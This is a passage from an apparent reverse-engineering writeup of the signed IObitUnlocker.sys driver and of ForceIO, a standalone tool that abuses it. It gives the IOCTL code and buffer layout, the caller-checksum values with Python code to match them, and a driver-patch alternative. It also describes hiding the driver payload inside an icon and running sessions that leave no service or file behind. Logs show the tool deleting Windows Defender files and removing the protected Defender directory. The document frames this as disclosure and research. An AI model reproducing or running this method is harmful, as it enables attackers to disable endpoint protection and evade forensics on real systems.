The obvious alternative — patching the driver to skip the checksum validation — would require modifying only 4 bytes (two jne → NOP NOP at +0x3DCC and +0x3DD6). However, any modification to the .sys binary invalidates its Microsoft WHCP Authenticode signature, and the driver will refuse to load on any system with Driver Signature Enforcement enabled — which is the default on all supported Windows 10/11 configurations. The ~87 KB of padding is the price of preserving the original signature. See §12.3 for the full analysis of the driver-patching alternative.
10. Phase 8 — ForceIO: The Standalone Tool
10.1 Design principles
- No CRT. Compiled with
/NODEFAULTLIB,/ENTRY:Entry,/GS-. Onlykernel32.dll,advapi32.dll, andcabinet.dllare imported. - No IObit code. ForceIO does not load, reference, or depend on any IObit binary.
- Direct IOCTL. Constructs the 0x428-byte buffer in-process and calls
DeviceIoControldirectly. - LZX-compressed payload. The driver binary is LZX-compressed into a CAB archive and appended to the application icon at build time. At runtime, FDI decompresses the CAB in memory and writes
forceio.datto%SystemRoot%. The icon remains valid for Explorer — the appended CAB data is invisible to the icon parser. - Atomic driver sessions. Each file operation runs a complete SCM lifecycle: create service → start → open device → execute → close device → stop service → delete service → remove driver file. The service exists in the registry only for the duration of the IOCTL — never between operations. Zero
Sleepcalls —ControlService(STOP)on kernel drivers is synchronous. - No registry residue. The SCM service name
IObitUnlockerandImagePath = forceio.datare created and destroyed within a single atomic session. Post-operation,sc query IObitUnlockerreturnsERROR_SERVICE_DOES_NOT_EXISTand%SystemRoot%\forceio.datdoes not exist on disk.
10.2 Why x86 (PE32)?
The driver is x64 (PE64). ForceIO is compiled as x86 (PE32). This works because:
METHOD_BUFFEREDis bitness-transparent. The I/O Manager allocates the system buffer in kernel space, copies the user buffer byte-for-byte, and passes it to the driver. No pointer reinterpretation occurs.ULK_BUFFERcontains no pointers. All fields areWCHARarrays andULONGvalues — fixed-size, architecture-independent. There is no alignment or padding difference between 32-bit and 64-bit representations.- The driver's checksum validation is bitness-agnostic.
ZwQueryInformationProcess(ProcessImageFileName)returns the real image path regardless of WOW64 — the driver reads and checksums the actual PE32 file on disk.
The x86 choice provides smaller binary size, no 64-bit CRT dependency to avoid, and confirms that the entire protocol is bitness-independent.
10.3 Core implementation
The heart of ForceIO is a single function:
static DWORD SendOperation(HANDLE hDev, const wchar_t* src,
const wchar_t* dst, ULONG op) {
ULK_BUFFER buf;
memset(&buf, 0, sizeof(buf));
wcopy_safe(buf.SourcePath, src, 264);
if (dst && dst[0])
wcopy_safe(buf.DestPath, dst, 264);
buf.OpType = op;
buf.Flags = 3; // match original DLL behaviour
ULONG out = 0;
DWORD ret = 0;
SetLastError(0);
DeviceIoControl(hDev, 0x222124, &buf, 0x428, &out, 4, &ret, NULL);
return GetLastError();
}
The high-level rename command intentionally uses three attempts:
OperationType=2raw rename.MoveFileExW(..., MOVEFILE_COPY_ALLOWED | MOVEFILE_WRITE_THROUGH)for ordinary filesystem cases.OperationType=3driver-side move/cut for locked or minifilter-protected targets.
The copy command uses OperationType=4, not 3, so the source remains in place.
10.4 Usage
ForceIO — minifilter-bypass file operations via signed driver
© WESMAR Marek Wesołowski
Usage: ForceIO <command> <path> [dest]
Commands:
delete <path> Force-delete file (bypasses WdFilter)
rename <src> <dst> Force-rename/move file
copy <src> <dst> Copy locked file
start Load driver only
stop Unload driver
cleanup Stop driver, remove service, delete temp files
10.5 Live operation — WdFilter bypass
PS> Remove-Item "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64" -Force
Remove-Item: Access to the path is denied.
PS> .\ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
[*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
[+] Success.
PS> Test-Path "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
False
Remove-Item with -Force fails with Access denied — WdFilter blocks the I/O request.
ForceIO deletes the file successfully — the IOCTL routes below the Filter Manager.
10.6 Directory move — protected Defender tree
After correcting OperationType=3, a protected Defender directory can be moved and then deleted:
C:\Projekty\ForceIO\bin>ForceIO.exe rename "c:\ProgramData\Microsoft\Windows Defender\" "c:\ProgramData\Microsoft\Windows Defender_\"
[*] RENAME: c:\ProgramData\Microsoft\Windows Defender -> c:\ProgramData\Microsoft\Windows Defender_
[+] Success.
C:\Projekty\ForceIO\bin>ForceIO.exe delete "c:\ProgramData\Microsoft\Windows Defender_"
[*] DELETE: c:\ProgramData\Microsoft\Windows Defender_
[+] Success.
This was the practical confirmation that the driver-side move/cut path matters. The earlier fallback (copy then delete) failed on this class of target with ERROR_DIR_NOT_EMPTY (145).
11. Driver Internal Architecture
11.1 Device and symbolic link
| Element | Value |
|---|---|
| Device Object | \Device\IObitUnlockerDevice |
| Symbolic Link | \DosDevices\IObitUnlockerDevice |
| Win32 path | \\.\IObitUnlockerDevice |
| Device type | 0x0001 (non-standard — not FILE_DEVICE_UNKNOWN = 0x22) |
11.2 DriverEntry flow (+0x10D4)
- Call
+0xA008(runtime init — likely GSCookie or CRT fragment). IoCreateDevicewith device name\Device\IObitUnlockerDevice, type0x0001.IoCreateSymbolicLinkfrom\DosDevices\IObitUnlockerDeviceto the device.- Set
DriverObject->Flags |= DO_DIRECT_IO(bit 4 at+0x30). - Clear
DO_EXCLUSIVEflag (bit 7 at+0x30). - Set dispatch table:
IRP_MJ_CREATE=IRP_MJ_CLOSE=+0x128C,IRP_MJ_DEVICE_CONTROL=+0x12B4. - Initialize log file UNICODE_STRING (
\Device\HarddiskVolume1\unlocker.log). - Resolve
ZwQueryInformationProcessviaMmGetSystemRoutineAddress→ store at+0x8150. - Store two hardcoded constants at
+0x8160and+0x8158(purpose unknown — possibly version markers). - Call
+0x3FA8(logging initialization).
11.3 Win32 path resolution
The driver resolves drive letters internally:
ZwOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY,
&oa{L"\\DosDevices\\C:"});
ZwQuerySymbolicLinkObject(hLink, &targetPath, NULL);
// targetPath = L"\\Device\\HarddiskVolume3"
This means the usermode caller can pass standard Win32 paths (e.g., C:\Windows\file.txt) — the driver converts them to NT paths before performing I/O.
11.4 Delete algorithm
1. (Optional) Kill/detach processes holding handles:
ZwOpenProcess → ZwDuplicateObject(DUPLICATE_CLOSE_SOURCE)
or ZwTerminateProcess if force-kill flag is set
2. Resolve Win32 → NT path:
"C:\folder\file" → "\Device\HarddiskVolume3\folder\file"
3. Open with DELETE access:
ZwCreateFile(DELETE | SYNCHRONIZE, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
FILE_OPEN, FILE_SHARE_DELETE | READ | WRITE,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT)
4. If SHARING_VIOLATION → KeDelayExecutionThread + retry
5. Set disposition:
ZwSetInformationFile(hFile, FileDispositionInformation, {DeleteFile = TRUE})
6. Close handle → file is deleted
11.5 Move and copy algorithms
The final operation map matters more than the names assigned during early reverse engineering:
| OperationType | ForceIO command | Driver behaviour |
|---|---|---|
1 |
delete |
Delete source path |
2 |
first rename attempt |
Raw FILE_RENAME_INFORMATION IRP; unreliable for ordinary destination paths |
3 |
rename / move fallback |
Copy data, then delete source |
4 |
copy |
Copy data, leave source intact |
For directories, the driver performs recursion internally with ZwQueryDirectoryFile. This is why OperationType=3 succeeds where a user-mode FindFirstFileW + per-file copy/delete fallback can miss protected children and end with ERROR_DIR_NOT_EMPTY.
11.6 Protected process list
The driver refuses to terminate these processes (checked via PsGetProcessPeb + _wcsicmp):
System
System Idle Process
csrss.exe
lsass.exe
lsm.exe
smss.exe
wininit.exe
winlogon.exe
userinit.exe
explorer.exe
IObitUnlocker.exe
12. The Checksum Validation in Detail
12.1 Location
The validation spans three functions:
| Function | Offset | Role |
|---|---|---|
+0x3CB0 |
Validation entry | IoGetCurrentProcess, build image name, call helpers |
+0x3A14 |
Process query | ZwQueryInformationProcess(ProcessImageFileName=27) |
+0x3AF0 |
File checksum | ZwCreateFile, ZwReadFile, compute XOR/ALT, compare |
12.2 Why this validation exists
IObit designed this check to prevent third-party tools from using their driver as a BYOVD weapon. The checksums match only the original IObitUnlocker.exe binary, so an attacker who downloads the driver cannot simply call its IOCTLs from arbitrary code.
The protection is naive — the checksums are trivially reversible, and the comparison values are hardcoded in the driver binary (not derived from a signature or certificate). But it is sufficient to block casual misuse and automated BYOVD (or BYOPD) frameworks that do not perform driver-specific analysis.
12.3 Alternative bypass: patching the driver
Instead of fixing the caller's checksums, one could NOP the two jne instructions at +0x3DCC and +0x3DD6:
+0x3DCC: 75 0E → 90 90 (NOP the XOR check branch)
+0x3DD6: 75 04 → 90 90 (NOP the ALT check branch)
This 4-byte patch disables validation entirely. However, it invalidates the driver's Microsoft WHCP Authenticode signature, which means the driver will not load on systems with Driver Signature Enforcement enabled (the default). The checksum-padding approach preserves the driver signature.
13. Project Structure
C:\Projekty\ForceIO\
├── IcoBuilder\
│ ├── kvc.ico Base application icon (9,662 bytes)
│ └── forceio.dat Signed driver binary (IObitUnlocker.sys, untouched)
├── ICON\
│ └── kvc.ico Combined icon + LZX-CAB payload (built by build.ps1)
├── src\
│ ├── main.c Entry point, CLI parser, command dispatch
│ ├── DeviceIO.c/.h IOCTL protocol and file operations
│ ├── DriverSession.c/.h Atomic driver lifecycle (Begin/End sessions)
│ ├── DriverExtract.c/.h FDI in-memory decompression from icon+CAB resource
│ ├── Console.c/.h No-CRT console output
│ ├── GenIconSize.h Auto-generated icon header size (build.ps1)
│ ├── Resource.h Resource identifiers
│ ├── ForceIO.rc Icon and embedded payload resource (dual reference)
│ ├── ForceIO.manifest UAC elevation manifest
│ └── ForceIO.vcxproj Visual Studio project, Win32 Release
├── build.ps1 LZX compress + icon assembly + MSBuild + checksum patch
└── bin\
└── ForceIO.exe Patched binary (checksums matched)
13.1 Building
cd C:\Projekty\ForceIO
.\build.ps1
The script:
- Resolves MSBuild from Visual Studio 2026.
- LZX-compresses
IcoBuilder\forceio.datviamakecabinto a CAB archive. - Appends the CAB to
IcoBuilder\kvc.ico, writes the combined blob toICON\kvc.ico. - Generates
src\GenIconSize.hwith the icon header byte count (FDI seek offset). - Builds
src\ForceIO.vcxprojasRelease|Win32. - Verifies imports are limited to
KERNEL32.dll,ADVAPI32.dll, andCABINET.dll. - Reads the compiled PE, computes current checksums.
- Calculates and appends correction bytes.
- Verifies the patched binary matches
XOR=0x2B, ALT=0x00A88677. - Sets deterministic timestamps (2030-01-01).
13.2 Runtime requirements
- Windows 10 or 11 (x64)
- Administrator privileges (SCM service creation requires elevation)
- Driver binary embedded as LZX-compressed CAB inside the application icon resource
- Driver Signature Enforcement enabled (the driver is genuinely signed)
cabinet.dll(present on all supported Windows versions)
14. Security Considerations
14.1 Detection surface
The driver creates a visible device object (\Device\IObitUnlockerDevice) during operation. The SCM service entry (IObitUnlocker) is ephemeral — it exists only for the duration of a single file operation and is deleted immediately after the IOCTL completes. The driver file (%SystemRoot%\forceio.dat) is likewise removed after each operation. The driver log at %SystemRoot%\unlocker.log records every operation with NTSTATUS codes and NT paths.
EDR solutions that monitor driver loads or device object creation can detect ForceIO's activity, but post-operation forensics will find no persistent service entry, no driver file on disk, and no registry artifact. The only durable trace is the driver log file (created by the driver itself, not by ForceIO).
14.2 Blocklist status
As of June 2026, IObitUnlocker.sys does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers database. The driver loads and operates normally on systems with HVCI and Driver Signature Enforcement enabled. If Microsoft adds this driver to the blocklist in the future, ForceIO will cease to function on hardened systems without disabling that protection.
14.3 Driver distribution
ForceIO embeds IObitUnlocker.sys (renamed to forceio.dat) as an LZX-compressed CAB payload inside the application icon resource during the local build. For public distribution, the safer model is to publish source code and build tooling, and require the user to place a legally obtained copy of the driver in IcoBuilder\forceio.dat. The driver binary is not modified — preserving the WHCP signature is the point of the design.
14.4 Purpose
This research is published to:
- Document the driver's undisclosed caller validation mechanism (§7, §12).
- Demonstrate that checksum-based anti-abuse protection is insufficient against motivated analysis.
- Provide a reference for researchers studying minifilter bypass techniques and overpowered signed driver abuse.
- Encourage Microsoft to review WHCP-signed drivers with excessively broad kernel primitives — particularly drivers that expose file deletion, process termination, and handle manipulation through weakly guarded IOCTLs.
A stronger anti-abuse design for IObit would verify the caller via Authenticode signature validation or a kernel callback (PsSetCreateProcessNotifyRoutine) rather than trivially reversible checksums.
15. Appendix A — Complete IAT Reconstruction
The PE Import Directory is at RVA 0xA084. Single import from ntoskrnl.exe. The Import Lookup Table starts at 0xA0B0 with 56 entries (null-terminated). Each entry's Hint/Name RVA was resolved via CDB:
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<rva+2>; q"
All 56 function names are listed in §4.1.
16. Appendix B — Checksum Computation Reference
def compute_iobit_checksums(filepath):
"""
Compute the two checksums that IObitUnlocker.sys uses for caller validation.
The driver code is at IObitUnlocker.sys+0x3C33 (XOR) and +0x3C53 (ALT).
"""
with open(filepath, 'rb') as f:
data = f.read()
xor_sum = 0
alt_sum = 0
for i, byte in enumerate(data):
xor_sum ^= byte
if i % 2 == 0:
alt_sum += byte # even-indexed bytes: add
else:
alt_sum -= byte # odd-indexed bytes: subtract
return xor_sum & 0xFF, alt_sum & 0xFFFFFFFF
# Expected values (from IObitUnlocker.sys+0x3DC7):
# XOR == 0x2B
# ALT == 0x00A88677
17. Appendix C — ForceIO Source Code
The complete source is split across six modules (see §13):
| Module | Responsibility |
|---|---|
main.c |
Entry point, CLI parser, command dispatch |
DriverSession.c/.h |
Atomic SCM lifecycle (Begin/End), manual start/stop/cleanup |
DriverExtract.c/.h |
FDI in-memory decompression from icon+CAB resource |
DeviceIO.c/.h |
IOCTL protocol, recursive delete/copy |
Console.c/.h |
No-CRT console output |
GenIconSize.h |
Auto-generated icon header byte count (CAB offset) |
Key design decisions:
-
No CRT dependency.
memsetandmemcpyare provided as#pragma functionoverrides inDeviceIO.candDriverExtract.crespectively. String operations use manual implementations (wlen,wcopy_safe,weq). Console output usesWriteFilewithWideCharToMultiByte(CP_UTF8)for pipe/redirect compatibility. -
LZX-compressed payload. The build pipeline compresses the driver with
makecab(LZX, 21-bit window) and appends the CAB to the application icon. The combined blob is referenced inForceIO.rctwice: asICON(Explorer glyph) and asRCDATA(FDI source). At runtime,DriverExtract_Deploylocates the resource, skipsICON_HEADER_SIZEbytes, and feeds the trailing CAB to FDI via memory-only callbacks. The decompressed bytes are written to%SystemRoot%\forceio.dat. Compression ratio: ~50% (41 KB → 20 KB CAB). -
Atomic driver sessions.
DriverSession_Beginperforms pre-cleanup (stop + delete any leftover service), FDI extraction,CreateServiceWwithImagePath = forceio.dat(OS resolves to%SystemRoot%),StartServiceW, andDeviceIO_Open.DriverSession_Endcloses the device handle, stops the service, deletes it from SCM, and removes the driver file. The entire lifecycle uses pure SCM API — zeroSleepcalls.ControlService(STOP)on kernel drivers is synchronous. -
Single IOCTL round-trip per primitive. One
CreateFileWopens\\.\IObitUnlockerDevice, oneDeviceIoControlperforms the selected operation, thenCloseHandle. For batch operations (recursive directory delete/copy), the device handle remains open across all IOCTLs within a single atomic session.
18. Appendix D — Timeline
| Date | Event |
|---|---|
| 2026-06-24 08:00 | Initial analysis document (IObitUnlocker_RE_analiza.md) prepared |
| 2026-06-24 09:30 | DLL disassembly completed, buffer layout corrected |
| 2026-06-24 10:00 | First Python IOCTL test → ERROR 87 |
| 2026-06-24 11:00 | NtDeviceIoControlFile confirms STATUS_INVALID_PARAMETER for all buffer variations |
| 2026-06-24 12:00 | CDB driver disassembly: validation function at +0x3CB0 identified |
| 2026-06-24 13:00 | PE Import Table fully reconstructed (56 functions) |
| 2026-06-24 14:00 | Validation function traced: IoGetCurrentProcess → ZwQueryInformationProcess → ZwCreateFile → ZwReadFile |
| 2026-06-24 14:30 | Checksum comparison found at +0x3DC7: 0x2B and 0x00A88677 |
| 2026-06-24 15:00 | Compiled 32-bit ulk_client.exe + checksum padding → first successful IOCTL |
| 2026-06-24 15:15 | Unknown.Log deleted (WdFilter bypass confirmed) |
| 2026-06-24 16:00 | ForceIO standalone tool compiled (/NODEFAULTLIB, no IObit dependency) |
| 2026-06-24 16:30 | DefenderEcsCache.bin64 deleted (second WdFilter-protected target) |
| 2026-06-25 00:30 | OperationType=3/4 corrected: 3 = move/cut, 4 = copy |
| 2026-06-25 00:45 | Protected Windows Defender directory moved and deleted through ForceIO |
| 2026-06-25 01:00 | Documentation (initial writeup) |
| 2026-06-25 08:00 | Driver binary renamed to ForceIO.dat, ImagePath simplified to bare filename |
| 2026-06-25 08:30 | FDI pipeline: driver LZX-compressed into CAB, appended to icon, decompressed at runtime via Cabinet API |
| 2026-06-25 09:00 | DriverSession.c replaces DriverLoader.c — atomic SCM lifecycle (create → start → use → stop → delete) |
| 2026-06-25 09:15 | All Sleep calls removed — pure synchronous API, kernel driver stop is synchronous |
| 2026-06-25 09:30 | 26-test integration suite: delete/rename/copy (single, directory, nested, stress ×10), atomic cleanup verified |
19. References
- MITRE ATT&CK — T1068 (Exploitation for Privilege Escalation), T1543.003 (Create or Modify System Process: Windows Service)
- Microsoft WHCP — Windows Hardware Compatibility Program driver signing
- WdFilter.sys — Windows Defender minifilter driver (altitude ~328000)
- Filter Manager —
FltMgr.sys, Microsoft filesystem filter architecture - IObit Unlocker — https://www.iobit.com/en/iobit-unlocker.php (freeware)
- MyDigitalLife Forums — CMDT thread: https://forums.mydigitallife.net/threads/90096/page-4
- KVC — https://github.com/wesmar/kvc (some of my original manipulation techniques)
© 2026 WESMAR Marek Wesołowski. All rights reserved.
Published for educational and authorized security research purposes.